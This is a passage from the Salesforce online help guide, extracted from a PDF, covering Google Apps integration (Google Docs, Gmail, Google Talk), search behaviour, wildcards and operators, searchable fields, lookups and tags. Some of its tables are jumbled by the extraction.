CRM Content. The message only displays if you are a member of a Salesforce CRM Content library and have a library
permission that allows you to contribute content.
4. In the Describe and Publish window, add a title for your Google doc and, optionally, a description.
5. Choose a library.
337
6. Optionally, choose a language. The Language drop-down list is displayed if multi-language support is enabled. If you do
not choose a language, Salesforce CRM Content associates your content with your personal language setting. If users
restrict their content searches to a particular language, only content associated with that language is displayed in the search
result set.
7. To publish the content on behalf of another author, choose that author from the drop-down list.
8. Tag your content. Your tagging permission depends on the tagging rule assigned to the library:
If the library does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter tags in
the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent Tags list and
the Popular Tags section on the Libraries tab. The My Recent Tags list on the Contribute window shows the 20 tags
you have used most recently. Click a tag to add it to the Tags field automatically.
If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new
tag. Click a suggested tag to add it to the Tags field automatically.
If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When you
select a tag it turns green.
You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag.
Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase
letters. The case of the original tag is always used.
9. If multiple content types are available, choose one from the drop-down list. The content type determines which custom
fields appear for you to categorize and define your content.
10. After completing any custom fields, click Publish. All library members can now search for this doc and provide feedback
such as comments and votes.
Note: While your Google doc is open, remember to share it with other Google Apps users in your organization.
Only Google Apps users with whom the doc is shared can view and edit the doc.
See Also:
Using Google Docs in Salesforce
Adding Google Docs to Salesforce
Google Apps Overview
Customize Application
Important: Once you activate a Google Apps service in Salesforce, it is visible to all users in your organization. To
use these services, your users must have Google Apps accounts on your domain. For more information, see Getting
Started with Salesforce and Google Apps on page 323.
338
Gmail (also called Google Mail) is a free Web-based email service from Google that operates on all standard browsers and
can be used with your company's domain. You can integrate Gmail with Salesforce in two ways:
Gmail to Salesforce
Gmail Buttons and Links
Gmail to Salesforce
Gmail to Salesforce allows you to automatically log emails and chats you send from your Gmail account as activities on lead,
contact, opportunity, and other records that support activity history in Salesforce.
Gmail to Salesforce is based on the Email to Salesforce feature. To activate Gmail to Salesforce for your organization, follow
the instructions in Enabling Email to Salesforce on page 1043. To configure your personal Gmail to Salesforce setup, follow
the instructions in Guidelines on Using Email to Salesforce on page 269.
Click Your Name > Setup > Google Apps > Settings.
In the Activate Google Apps Services list, click Edit next to Gmail Buttons and Links.
Select the Active checkbox to activate Gmail Buttons and Links for your organization.
Select the Gmail Links checkbox to add Gmail links next to all email fields (except email fields on pages under Setup).
Select the Gmail Buttons checkbox to add Compose Gmail buttons in Activity History related lists on leads and
contacts.
6. Read the Terms of Use, and select the checkbox indicating you have read and agree to them.
7. Click Save.
Implementation Notes
If your organization enables Gmail Buttons and Links but does not enable Gmail to Salesforce, you can still use the Gmail
links on contact and lead records; however, Salesforce does not log emails you send from your Gmail account, or automatically
populate the BCC field on the Compose Mail screen with an Email to Salesforce address.
For information about Gmail, refer to Google's online help.
See Also:
Google Apps Overview
339
Customize Application
Important: Once you activate a Google Apps service in Salesforce, it is visible to all users in your organization. To
use these services, your users must have Google Apps accounts on your domain. For more information, see Getting
Started with Salesforce and Google Apps on page 323.
Google Talk is Google's instant-messaging tool. When the Google Talk Sidebar Component is activated in Salesforce,
Google Talk displays in the sidebar where it can be toggled on, off, or expanded into its own window. You can also log a chat
record as an activity on a Salesforce lead or contact record.
Click Your Name > Setup > Google Apps > Settings.
Click Edit next to the Google Talk Sidebar Component option in the Activate Google Apps Services list.
Select or deselect the Active checkbox.
If you are activating the Google Talk Sidebar Component, read the Terms of Use and select the checkbox indicating you
agree to the Terms of Use.
5. Click Save.
For information about using Google Talk, refer to Google's online help.
Google Talk appears in both standard and custom sidebar layouts on all tabs.
Because Google Talk chats are automatically saved in Gmail, users with Email to Salesforce can log a Google Talk chat
as an activity on a lead or contact. For more information see Using Gmail in Salesforce on page 338.
When Google Talk is in the sidebar, refreshing a Salesforce page causes Google Talk to momentarily disconnect and
reconnect. For longer chats, open Google Talk in its own window by clicking pop out next to the Google Talk sidebar
component.
Google Talk is not available for Customer Portal or partner portal users.
See Also:
Google Apps Overview
Setting Up Google Apps in Salesforce
340
Search Overview
Solutions
Documents
Salesforce CRM Content
341
Products
Articles
Article Management
Tip: Your administrator can customize your Home tab to include the product, document, or solution search in the
sidebar.
See Also:
How Search Works
Searching in Salesforce.com
Refining Search
Browsing, Searching, and Managing Tags
Customizing Search Settings
Customizing Search Layouts
Search uses custom algorithms, including natural language analysis (NLA) techniques such as tokenization, stemming (articles
and files), and stopword lists, to return meaningful search results.
Tokenization breaks down all searchable text into smaller pieces at spaces, punctuation, and alphanumeric boundaries and
stores them in search indexes. When you perform a search, your results include matches on the tokens in your search term.
For example, a search for web2lead returns matches for web, 2, and lead.
Stemming is the process of reducing a word to its root form. With stemming, search can match expanded forms of a search
term, as long as they are the same figure of speech. For example, a search for run matches run, running, and ran, but
not runner.
Stopword lists contain words that are ignored in search terms for each supported language (for example, the, to, and for).
These words are removed from the search and are not matched on to avoid irrelevant results.
Search further refines matches based on:
Two users performing the same search might have different search results, because searches are configured for the user
performing the search. For example, if you own or recently viewed an item, its relevancy increases and the item moves higher
in your search results.
342
How your search works depends on whether you're using sidebar, advanced, or global search.
See Also:
Search Overview
Searching in Salesforce.com
Refining Search
Search Fields
How your sidebar search works depends on your search options, search terms, and the use of wildcards.
Search Options
Sidebar search searches only a subset of records and fields, including name, phone, email, and standard address fields.
If the sidebar search drop-down list is available, you can limit your search to only tags or the records for a single object.
If the sidebar search Limit to items I own checkbox is available, you can select this box to limit your search to
records you own.
Search Terms
Searches are conducted as a phrase search and match terms in the exact sequence that they appear. For example, searching
for bob jones returns items with Bob Jones, but not Bobby Jones or Bob T Jones. Likewise, searching for acct!4 only
returns items with acct!4 in a single string.
Wildcards and Operators
You can use the * (asterisk) and ? (question mark) wildcards to refine results. Use * to match one or more characters, or
? to match a single character. An * is automatically appended to your search string. For example, searching for bob jo
finds items with Bob Jones and Bob Johnson, and searching for jo?n finds items with john and joan. You can't use operators
to refine results in sidebar search.
See Also:
Searching in Salesforce.com
Refining Search
Search Results
343
How your advanced search works depends on your search options, search terms, and the use of wildcards and operators.
Search Options
Advanced search searches more record types and fields than sidebar search, including attachments, custom fields, and
long text fields such as descriptions, notes, and task and event comments.
Select Limit to items I own, if available, to limit your search to records you own, including case comments and
reports that you created. Click Advanced Search... and choose one or more objects by which to limit your search. You
can also restrict your search to divisions, if your organization uses them.
Search Terms
Search terms are treated as separate words and may be found in different searchable fields within a record. For example,
searching for bob jones returns items with Bob Jones, as well as a contact named Bob Smith whose email address is
bsmith@jones.com.
Search terms are separated by letter, number, and punctuation boundaries. For example, searching for acct!4 returns
items with Acct, !, and 4, even if those terms are in separate places in the item.
Wildcards and Operators
You can use the * (asterisk) and ? (question mark) wildcards to refine results. Use * to match one or more characters, or
? to match a single character. For example, searching for bob jo* finds items with Bob Jones and Bob Johnson, and
searching for jo?n finds items with john and joan. You can also use the AND, OR, AND NOT, ( ) (parentheses), and
" " (quotation marks) operators to refine results.
See Also:
Searching in Salesforce.com
Refining Search
Search Results
Global search searches more record types, including articles, documents, products, solutions, and Chatter feeds, files, groups,
and people. Global search also searches more field types, including custom fields and long text fields such as descriptions,
notes, and task and event comments. Global search keeps track of which objects you use and how often you use them, and
arranges the search results accordingly. Search results for the objects you use most frequently appear at the top of the list. If
global search doesnt have enough information about which objects you use, you see results for your previous saved scope or
for all objects until it has more information.
344
Searching in Salesforce.com
How your global search works depends on your search options, search terms, and the use of wildcards and operators.
Search Options
Search options let you restrict your search to the records you own, if available; to exact phrase searches; and to divisions,
if your organization uses them.
The search options you select are saved until you change them.
Note: Chatter feed searches aren't limited to your selected search options; Chatter feed search results include
matches across all objects.
Search options aren't available to Chatter Free users.
Search Terms
Search terms are treated as separate words and may be found in different searchable fields within a record. For example,
searching for bob jones returns items with Bob Jones, as well as a contact named Bob Smith whose email address is
bsmith@jones.com.
Search terms are separated by letter, number, and punctuation boundaries. For example, searching for acct!4 returns
items with Acct, !, and 4, even if those terms are in separate places in the item.
Tip: If you'd like to conduct a phrase search to match multiple terms in the exact sequence that they appear,
select Exact phrase in the Options or use quotations marks around your search terms.
See Also:
Searching in Salesforce.com
Refining Search
Search Results
Searching in Salesforce.com
Available in: All Editions except Database.com
345
Refining Search
Your search term must have two or more characters. Special characters, such as " ? * ( ), aren't included in the character
count. For example, a search for (a) won't return any search results.
Search isn't case-sensitive. For example, a search for california finds the same items as a search for California.
Find phone numbers by entering part or all of a number. For example, to find (415) 999-3434, enter 4159993434, 999,
or 3434. To search for the last seven digits, you must enter the punctuation, such as 999-3434.
In Chinese, Japanese, and Korean, you can find a person by entering last name before first name; searching for jones
bob returns any person named Bob Jones.
If you're using advanced search or global search, refine your search using operators such as AND, OR, and AND NOT.
If you're using advanced search or global search, search for exact phrases by putting quotation marks around multiple
keywords, for example, "call john smith" finds items with call john smith, but not items with call john p. smith or
john smith called. If you're using sidebar search, your search string is automatically treated as a phrase search.
Search for partially matching terms using wildcards.
Asterisks match one or more characters at the middle or end (not the beginning) of your search term. For example, a
search for john* finds items that start with variations on the term john, such as, johnson or johnny. A search for mi*
meyers finds items with mike meyers or michael meyers. If you're using sidebar search, an * is automatically appended
to the end of the search string.
Question marks match only one character in the middle or end (not the beginning) of your search term. For example,
a search for jo?n finds items with the term john or joan but not jon or johan. If you're using global search, the ? is
removed from the end of your search term and isn't treated as a wildcard.
See Also:
Search Overview
How Search Works
Refining Search
Search Fields
Refining Search
Available in: All Editions except Database.com
Using wildcards
346
Refining Search
See Also:
Search Overview
How Search Works
Searching in Salesforce.com
Search Results
See Also:
How Search Works
Searching in Salesforce.com
Search Results
347
Refining Search
3. Click Search.
If you restrict your search scope, the scope you select appears under the search box on the Advanced Search Results page.
Click Advanced Search under the search box to change your search scope again.
See Also:
How Search Works
Searching in Salesforce.com
Search Results
348
Refining Search
Selecting Exact phrase. This is the same as using quotation marks around your search string.
Searching within a division. If you have the Affected by Divisions permission, specify which divisions you want to
search. If your organization uses divisions but you don't have the Affected by Divisions permission, your search results
include records in all divisions.
See Also:
How Search Works
Searching in Salesforce.com
Search Results
Wildcards
Wildcard
Description
* (asterisk)
Asterisks match one or more characters at the middle or end (not the beginning) of your
search term. For example, a search for john* finds items that start with variations on the
term john, such as, johnson or johnny. A search for mi* meyers finds items with mike meyers
or michael meyers. If you're using sidebar search, an * is automatically appended to the end of
349
Wildcard
Refining Search
Description
the search string. You can use an * at the beginning of a search term in a standard lookup
search.
? (question mark)
Question marks match only one character in the middle or end (not the beginning) of your
search term. For example, a search for jo?n finds items with the term john or joan but not
jon or johan. If you're using global search, the ? is removed from the end of your search term
and isn't treated as a wildcard. You can't use a ? in a lookup search.
Wildcards take on the type of the preceding character. For example, aa*a matches aaaa and aabcda, but not aa2a or aa.!//a,
and p?n matches pin and pan, but not p1n or p!n. Likewise, 1?3 matches 123 and 143, but not 1a3 or 1b3.
You can't search for a ? or * in a search phrase that is enclosed in quotation marks or when Exact phrase is selected in the
search scope because they function as wildcards. For example, "my wo?d" matches my wood and my word.
You can't use wildcards in the middle of Chinese, Japanese, Korean, or Thai search terms.
If you're entering search terms in global search, the search box drop-down list gives you the option to search for your term
with an * added to the end. For example, type jo in the search box, then select Search for jo* (starts with) to find joan,
john, johnson, and other matches that start with jo.
See Also:
How Search Works
Searching in Salesforce.com
Search Results
Sidebar and standard lookup search don't support the use of operators.
Operators
Operator
Description
AND
Finds items that match all of the search terms. For example, acme AND california finds
items with the word acme and the word california, but not items with only the word acme.
Using AND is optional in most cases, because searching for acme california is the same
as searching for acme AND california. However, when searching articles, documents,
and solutions on their respective tabs, AND must be used because OR is the default operator
for these objects on their tabs.
350
Refining Search
Operator
Description
OR
Finds items with at least one of the search terms. For example, acme OR california
finds items with either acme or california or both.
AND NOT
Finds items that don't contain the search term. For example, acme AND NOT california
finds items that have the word acme but not the word california.
( ) (parentheses)
Group search terms together. Grouped search terms are evaluated before other search terms
in your string. See Search Order on page 351.
Find an exact phrase. Sidebar search automatically places the quotation mark operators around
any search string that you enter. This is the same as selecting Exact phrase in advanced
search or global search. For example, a search for "monday meeting" finds items that
contain monday meeting, but not items that contain monday afternoon meeting or monday's
meeting. The asterisk (*) and question mark (?) function as wildcards when included in a search
phrase that is enclosed in quotation marks or when Exact phrase is selected in the search
scope.
Search Order
When you combine multiple operators in a search string, they are evaluated in this order:
1. () (parentheses)
2. AND and AND NOT (evaluated from right to left)
3. OR
These examples show how search strings are evaluated:
Searching for...
acme AND california AND NOT acme AND (california AND NOT acme and california but not meeting
meeting
meeting)
acme AND NOT california AND acme AND NOT (california AND acme but not with both california and
meeting
meeting
meeting)
acme AND california OR
meeting
See Also:
How Search Works
Searching in Salesforce.com
Search Results
351
Search Results
Search Results
Available in: All Editions except Database.com
Your search results include items and tags that you have permission to view. How your results appear and how you can interact
with them depends on whether youre using:
See Also:
Search Overview
How Search Works
Searching in Salesforce.com
Refining Search
Field-Level Security Overview
Browsing, Searching, and Managing Tags
Your search results include related lists for items and tags that you have permission to view.
From this page you can:
Click a related list item at the top of the page to jump directly to an object's results.
Objects with results are displayed in alphabetical order. The number of results for each object is displayed. For example,
Contacts [25+] means there are more than 25 contacts that match your search criteria. If your search returns a large number
of results for a particular object, click Next Page or Previous Page to view the results.
352
Search Results
See Also:
Search Overview
How Sidebar Search Works
How Advanced Search Works
Searching in Salesforce.com
Changing Sidebar Search Options
Changing Advanced Search Scope
353
Search Results
On the Chatter updates results page, save a topic or search result to your favorites on the Chatter page by clicking Add to
Chatter Favorites.
2. Quickly see which items (ordered by most frequent use) were searched.
3. Click Search All at the bottom of the left side or under the related lists to do a one-time search across all items using your
current search terms.
After clicking Search All, you can pin items that dont appear in your scope to the top of your search results. You can
always unpin them later.
4. Use the search box in the page to search within your current view. For example, if you drill down to view Chatter Updates
and then decide to search Chatter for something different, enter your new search terms and click Search Chatter Updates
to search across all Chatter posts and comments.
5. Click Options... to restrict your search to records you own, if available, to exact phrase searches, and to divisions, if your
organization uses them.
6. Take a guided tour of the search results.
7. See up to five results for each item you searched.
354
Search Results
(Administrators only) Click Customize... to customize filters and specify search results columns and column order for
all users' search results.
See Also:
Chatter Feed Search Results
Search Overview
How Global Search Works
Searching in Salesforce.com
Changing Global Search Options
For most objects, you can specify the enhanced lookup and search results columns and column order.
1. In the object's search results related list, click My Columns (Administrators click Customize... > My Columns).
2. To choose columns, use Add and Remove.
Your administrator determines the available columns in a search layout. If search layouts aren't available for the object,
such as articles, dashboards, reports, and tags, you can't customize the columns.
3. To reorder columns, use Up and Down.
4. Click Save.
5. Click column headings to sort the results in ascending or descending order.
Sorting applies across all search results for a particular object, including those on subsequent pages. You can't click on
column headings for multi-select picklist fields because you can't sort the multi-select picklist field type.
See Also:
How Search Works
Searching in Salesforce.com
Refining Search
Search Results
355
Search Results
To restrict search or enhanced lookups results for objects, you can use filters. Your administrator determines the available filter
fields in a search layout. If your administrator didn't create a search layout for the object or if search layouts aren't available
for the object, such as articles, dashboards, reports, and tags, you can't filter your results.
Filters aren't available in Customer Portals or partner portals.
Filtering Search Results for Most Objects
1. Click Show Filters in a search results related list.
2. Enter filter criteria using the following tips and click Apply Filters.
When filtering search results, the operator is selected automatically based on the field type. The = (equals) operator
is used for fields with the following types of fields:
Dates
Numbers, except auto number or phone fields
Record IDs
All other fields use the contains operator. Auto number and phone fields use the contains operator because they
can contain non-numeric characters.
Except for number fields, commas are used as OR operators in search results filters. For example, if you enter
acme, california in the Account Name filter field, your results include account names with either acme
or california. For number fields (where a comma can be part of a number) commas aren't treated as OR operators
and users must explicitly enter the OR operator.
Note: Explicitly using the OR operator is only supported in number fields.
The criteria you specify are AND based. That is, if you specify more than one criterion, the result includes only
records that match all of the criteria. For example, if you enter acme california in the Account Name
filter field, your results include account names with both acme and california.
Any field of type URL is filtered based on the exact value that is entered by the user for that field.
Tip: We recommend that you don't include http:// or https:// in URL filter criteria because you
may not get the results that you expect.
When you enter values in URL fields and save records, Salesforce adds http:// to any URL that doesnt
start with http:// or https://. The added http:// isn't stored in the database. For example, if you
enter salesforce.com in the Website field and save the record, the Website field displays
http://salesforce.com, but the value stored is salesforce.com. Therefore, if you enter
http://salesforce.com in the Website filter field, your results don't include your record.
You can enter special values for dates; see Special Date Values for Filter Criteria.
If your organization uses multiple currencies, see Tips for Entering Filter Criteria on Multiple Currencies.
356
Search Fields
If you perform a blank lookupthat is, you click the lookup icon without entering a search termfilters only
apply to items in the most recently used list. Otherwise, filters apply to both this list and the resulting records of
the lookup.
See Also:
How Search Works
Searching in Salesforce.com
Refining Search
Search Results
Search Fields
The types of records you can search vary according to which Edition you have.
You can search for information within any of the fields listed in the following tables.
Search for articles; Chatter groups, files, and people; Salesforce CRM Content; documents; products; and solutions on their
tabs or with global search (sidebar search and advanced search aren't designed to find these objects). Search for information
in Chatter feeds using global search.
Note: Users can search fields that are hidden from them by field-level security. When users search for a value in a
field hidden to them, the search results include the record that contains the field, even though users can't see the field.
357
Search Fields
Sidebar
Advanced
Global
Account Name
Account Name (Local)
Account Number
Account Site
Billing Address
Description
Fax
Phone
Shipping Address
Ticker Symbol
Website
358
Search Fields
Search Type
Field Searched
Sidebar
Advanced
Global
Sidebar
Advanced
Global
Account Name
Account Name (Local)
Account Number
Account Site
Assistant
Assistant Phone
Billing Address
Description
Email
Fax
Home Phone
Mailing Address
Mobile
Other Address
Other Phone
Shipping Address
Ticker Symbol
Title
Website
359
Search Fields
Search Type
Field Searched
Sidebar
Advanced
Global
Article Fields
Neither sidebar search nor advanced search are designed to find articles. To find an article, use global search or the search
tools in the sidebar on the Articles tab. For more information, see Searching for Articles on page 3292.
Search Type
Field Searched
Sidebar
Advanced
Global
Articles Tab
All custom
auto-number fields and
custom fields that are
set as an external ID
(You don't need to
enter leading zeros.)
All custom fields of type
text, text area, long text
area, rich text area,
email, and phone
Asset Fields
Search Type
Field Searched
Sidebar
Advanced
Global
Asset Name
Description
Serial Number
360
Search Fields
Search Type
Field Searched
Sidebar
Advanced
Global
Attachment Fields
Search Type
Field Searched
Sidebar
Advanced
Global
File Name
Campaign Fields
Search Type
Field Searched
Sidebar
Advanced
Global
Campaign Name
Description
Case Fields
Search Type
Field Searched
Sidebar
Advanced
Global
Case Comments
Case Number
361
Search Fields
Search Type
Field Searched
Sidebar
Advanced
Global
Sidebar
Advanced
Global
namefor example,
@Madison Rigsby)
Comment Body
Parent Record Name
Post Body
Poster Name
362
Search Fields
Sidebar
Advanced
Global
Groups Tab
Description
Group Name
Contact Fields
Search Type
Field Searched
Sidebar
Advanced
Global
Assistant
Asst. Phone
Department
Description
Email
Fax
First Name
First Name (Local)
Home Phone
Last Name
Last Name (Local)
Mailing Address
Mobile
Other Address
Other Phone
Phone
Title
363
Search Fields
Search Type
Field Searched
Sidebar
Advanced
Global
Contract Fields
Search Type
Field Searched
Sidebar
Advanced
Global
Billing Address
Contract Name
Contract Number
Description
Shipping Address
Special Terms
Sidebar
Advanced
Global
Description
Name
364
Search Fields
Sidebar
Advanced
Global
Name
Document Fields
Neither sidebar search nor advanced search are designed to find documents. To find a document, use global search or the Find
Document button on the Documents tab. For more information, see Searching for Documents on page 255.
Entitlement Fields
Search Type
Field Searched
Sidebar
Advanced
Global
Name
File Fields
Neither sidebar search nor advanced search are designed to find files. To find a file, use global search or the search tools on
the Files tab. For more information, see Searching for Files on page 2426.
Search Type
Field Searched
Sidebar
Advanced
Global
Files Tab
Body
Description
Extension (such as
ppt)
Name
Owner
365
Search Fields
Search Type
Field Searched
Sidebar
Advanced
Global
Files Tab
All custom
auto-number fields and
custom fields that are
set as an external ID
(You don't need to
enter leading zeros.)
All custom fields of type
text, text area, long text
area, rich text area,
email, and phone
Idea Fields
Search Type
Field Searched
Sidebar
Advanced
Global
Comment
Description
Title
Lead Fields
Search Type
Field Searched
Sidebar
Advanced
Global
Address
Company
Description
Email
Fax
First Name
First Name (Local)
Last Name
Last Name (Local)
Mobile
Phone
366
Search Fields
Search Type
Field Searched
Sidebar
Advanced
Global
Title
Note Fields
Search Type
Field Searched
Sidebar
Advanced
Global
Body
Title
Opportunity Fields
Search Type
Field Searched
Sidebar
Advanced
Global
Description
Opportunity Name
People Fields
Neither sidebar search nor advanced search are designed to find people; however, sidebar search and advanced search can be
used to find users. See User Fields.
To find people, use global search or the search tools on the People tab. For more information, see Searching in Chatter on
page 2442.
367
Search Fields
Search Type
Field Searched
Sidebar
Advanced
Global
People Tab
About Me
Email
First Name
Last Name
Name
Nickname
Phone
Record ID (15
character Record ID
only)
Username
All custom
auto-number fields and
custom fields that are
set as an external ID
(You don't need to
enter leading zeros.)
All custom fields of type
text, text area, long text
area, rich text area,
email, and phone
Question Fields
The Answers tab in Salesforce lists all the questions posted to an answers community.
Search Type
Field Searched
Sidebar
Advanced
Global
Question Body
Question Title
Reply Body
368
Search Fields
Quote Fields
Search Type
Field Searched
Sidebar
Advanced
Global
Quote Name
Quote Number
Report Fields
Search Type
Field Searched
Sidebar
Advanced
Global
Description
Report Name
Sidebar
Advanced
Global
Contract Number
Description
Name
Special Terms
Solution Fields
Neither sidebar search nor advanced search are designed to find solutions. To find a solution, use global search or the Find
Solution button on the Solutions tab. For more information, see Searching for Solutions on page 3263.
Tags
You can search for tags in sidebar, advanced, and global search.
Sidebar
Advanced
Global
only)
Subject
369
Search Fields
Search Type
Field Searched
Sidebar
Advanced
Global
User Fields
If you're using Chatter and searching for people, see People Fields.
Search Type
Field Searched
Sidebar
Advanced
Global
About Me
Email
First Name
Last Name
Name
Nickname
Phone
Record ID (15 character
Record ID only)
Username
370
Search Fields
Type of Record
Fields Searched
Account
Account Name
Standard Lookups
Enhanced Lookups
Campaign
Campaign Name
Case
Case Number
Community
Community Name
Contact
First Name
First Name (Local)
Last Name
Last Name (Local)
Contract
Contract Name
Contract Number
Discussion
Title
Document
Document Name
Keywords
Idea
Title
Lead
Company
Company (Local)
Name
Name (Local)
Opportunity
Account Name
Opportunity Name
Product
Product Code
Product Name
Self-Service User
First Name
Last Name
Solution
Solution Title
371
Type of Record
Fields Searched
User
First Name
Custom Objects
Standard Lookups
Enhanced Lookups
Last Name
Name
Name
See Also:
Field-Level Security Overview
Search Overview
How Search Works
Searching in Salesforce.com
Salesforce objects often include lookup fields that allow users to associate two records together in a relationship. For example,
a contact record includes an Account lookup field that represents the relationship between the contact and its associated
organization. The object that contains the lookup field is the source object, while the object the lookup points to is the target
object.
Lookup fields appear with the
button on record edit pages. Clicking
opens a lookup search dialog that allows the user
to search for the record that should be associated with the one being edited. A blank lookup is performed when you click the
lookup icon without entering a search term.
Salesforce provides two types of lookups.
Standard Lookups
By default, all lookups behave as standard lookups. When searching for records with a standard lookup, only the fields
listed in Lookup Search Fields are queried. Standard lookups return up to 50 records at a time in alphabetical order and
don't allow for sorting, filtering, or customizable columns.
Enhanced Lookups
If enabled by your administrator, account, contact, user, and custom object lookups can behave as enhanced lookups.
Enhanced lookups update standard lookup fields with the following functionality:
Enhanced lookup search queries are broken into separate search terms at any split between alphabetic, numeric, and
special characters. For example, if you enter ALL4ONE in an enhanced lookup field, the resulting query searches for
ALL and 4 and ONE. Consequently, entering ALL the 4 and ONE returns ALL4ONE. Also, searching for S&
returns fields containing both S& and &S.
372
Enhanced lookups allow users to sort and filter search results by any field that is available in regular search results.
Users can also hide and reorganize the columns that are displayed in the results window.
Note: In addition to user-controlled filters, administrators can create lookup filters on relationship fields
that limit the valid values and lookup dialog results for the field.
Enhanced lookups return all records that match your search criteria and allow you to page through large sets of search
results.
In enhanced lookups, you can use wildcards in your search terms; however, the wildcard can't be the first character
in the search term or phrase.
When you click a standard or enhanced lookup icon before entering anything in the lookup field, a list of all recently used
records displays. However, for standard lookups of products and queues, the dialog shows an alphabetical listing of the first
50 records. For standard lookups of campaigns, the dialog shows the first 100 active campaigns. For the asset standard lookup
on a case, the dialog shows all the assets tied to the contact on the case, if any. If you click the standard or enhanced lookup
icon next to a field that is populated with a string, the string value is used as the search query. For standard or enhanced lookups
of users, the dialog shows a list of recently accessed user records from across your organization. If you perform a blank
lookupthat is, you click the lookup icon without entering a search termfilters only apply to items in the most recently used
list. Otherwise, filters apply to both this list and the resulting records of the lookup.
Note: Only active users are searchable, except in the lookup for mass transfers, where inactive users are also searchable.
Lookup Auto-Completion
If enabled by your administrator, both standard lookups and enhanced lookups can display a dynamic list of matching recently
used records when a lookup field is edited. This list is restricted to objects of the appropriate type and, with the exception of
lookups of users, is populated from recently used items. For example, while editing an Account lookup, you can see recently
used accounts with names that match the prefix you have entered. Recently used contacts don't appear in this list.
Lookup auto-completion is subject to the following restrictions:
You must have recently visited records of the appropriate type for the lookup's auto-completion list to be populated.
You must be editing the lookup field on a record's edit page.
To improve standard lookup dialog search results, use an asterisk (*) wildcard within your search string.
For example, searching for com* finds items with com at the beginning of any word in the search string, such as commerce,
community, and edge communications.
When you use wildcards to search enhanced lookup fields, be aware that the results may include more records than you
expect if your search term includes combinations of letters, numbers, and special characters.
If you enter a value into the lookup text box and save the record without clicking the lookup icon ( ), Salesforce
automatically performs a search and assigns the result to the lookup field. If more than one result is found, Salesforce
displays a drop-down list of the matching options. If no results match the text you entered, an error displays instead.
A wildcard is automatically appended to each of your search terms.
For example, searching for bob jo returns items with bob jones, bobby jones, or bob johnson.
373
To search for contacts, leads, users, or other individuals that include spaces in the First Name or Last Name fields,
enter quotes around the terms.
For example, to search for bob von hausen, enter "bob von hausen".
In organizations where the Salesforce Customer Portal or partner portal is enabled, you can filter the results that appear
on the user lookup dialog by selecting either a queue or group of users from the Owner or Assigned To drop-down list.
If your organization uses divisions and you have the Affected by Divisions permission, your lookup dialog search results
include records in the division you select in the lookup dialog window.
See Also:
Configuring Lookups
Search Overview
Wildcards
If a wildcard is used in a search, the wildcard expands the search term, but the search doesn't match any synonyms, even
if the search phrase contains a defined synonym.
For example, if these synonym groups are defined:
fruit, oranges, apples
cabbage, lettuce
Then a search for orang* lettuce matches items that contain orange and oranges, but doesn't match items that
contain fruit, apples, and cabbage.
Operators
If a search phrase contains an operator (and/or/and not), synonym matches are returned only if the entire search
phrase is a defined synonym.
374
Then a search for orange marmalade recipe matches items that contain orange marmalade, citrus, marmalade
recipe, and sugar.
375
Tags Overview
Subsets
If one synonym group includes a synonym that is a subset of a synonym in another group, a search for the subset term
doesn't match items that contain synonyms from the subset synonym group.
For example, if these synonym groups are defined:
orange, apple
orange marmalade, citrus
marmalade, jam
Then a search for orange marmalade matches items that contain orange marmalade and citrus, but doesn't match
items that contain apple, jam, only marmalade, and only orange.
See Also:
Searching for Articles
Tags Overview
Available in: All Editions except Database.com
Tags are words or short phrases that you can associate with most Salesforce records to describe and organize their data in a
personalized way. Use tags to group records from various objects by a common topic or use, and then use those tags in search
to make finding information fast and intuitive.
For example, if you met a number of contacts and leads at a conference, you might tag them all with the phrase User Conference
2011. You could then search for the User Conference 2011 tag and click that tag in search results to retrieve those records.
Salesforce supports two types of tags.
Personal tags are private. Only you can view any personal tags that you add to a record.
Public tags are shared among all users in an organization. Any user with access to the record can view the public tags that
you add.
Administrators can enable personal and public tags for accounts, activities, assets, campaigns, cases, contacts, contracts,
dashboards, documents, events, leads, notes, opportunities, reports, solutions, tasks, and any custom objects (except relationship
group members), allowing you to:
Tag records
Remove tags from a record
Browse, search, and manage tags
See Also:
Tags Limits
Tags Settings
Using the Tags Sidebar Component
Search Overview
376
Tags Overview
Tagging Records
Available in: All Editions except Database.com
1. On the top right corner of the record detail page, click Add Tags. If the record already has associated tags, click Edit Tags.
2. In the Personal Tags or Public Tags text boxes, enter comma-separated lists of the tags that you want to associate
with the record. Tags can only contain letters, numbers, spaces, dashes, and underscores, and must contain at least one
letter or number.
As you enter new tags, up to 10 tags that have already been defined are displayed as auto-complete suggestions. As you
type, the list of suggestions changes to show only those tags that match the prefix you have entered. To choose a suggestion,
click it or use your keyboard arrow keys to select it and press the TAB or ENTER key.
3. Click Save.
Tip: When you create or edit tags, you can press the ENTER key to save your changes or the ESC key to discard
them.
Note: You and your organization are subject to limits on the number of personal and public tags that you can create
and apply to records. If you attempt to tag a record with a new tag that exceeds one or more of these limits, the tag
isn't saved. If this occurs, you can delete infrequently used tags from the Tags page. See Browsing, Searching, and
Managing Tags on page 378.
See Also:
Using the Tags Sidebar Component
Removing Tags from Records
1. On the top right corner of the record detail page, click Edit Tags.
2. Next to the Personal Tags or Public Tags text boxes, click [X] next to the tag that you want to remove.
377
Tags Overview
3. Click Save.
Tip: When you create or edit tags, you can press the ENTER key to save your changes or the ESC key to discard
them.
If the tag that you removed is the last instance of the tag, the tag is deleted from your organization completely. If other records
use the tag, the tag still appears in search results and the Tags page.
See Also:
Tagging Records
To access the Tags page, click the name of any tag on a detail page, or if your administrator added tags to the sidebar, click
Tags in the sidebar.
From this page, you can:
The number of records associated with a tag can sometimes be greater than the number of records displayed when
you click that tag in the Tags page. This situation occurs if you tagged a record and then lost permission to view
it because of a change in sharing, or if a record that you don't have access to has one or more public tags.
378
Tags Overview
Search results and the Tags page don't display custom objects that don't have an associated tab, even if tags are
enabled for the custom object. If you want custom object records to appear in search results or on the Tags page,
you must create an associated tab. The tab doesn't have to be visible to users.
You can customize columns and filter the search results. See Search Results.
Searching Tags
Enter terms in the Search Tags text box and click Search. Only tags that meet your search criteria are listed in the tag browsing
area. You can then click any tag to view records associated with that tag.
Search strings must include at least two characters and can include wildcards and operators.
The most recent search result is saved in the tag browsing area next to the alphabet at the top of the page. Click the search
string to return to your results.
Renaming and Deleting Tags
User Permissions Needed
To rename or delete public tags:
Tag Manager
To rename a tag, hover over the tag and select Rename from the drop-down list that appears around the tag. Enter a new
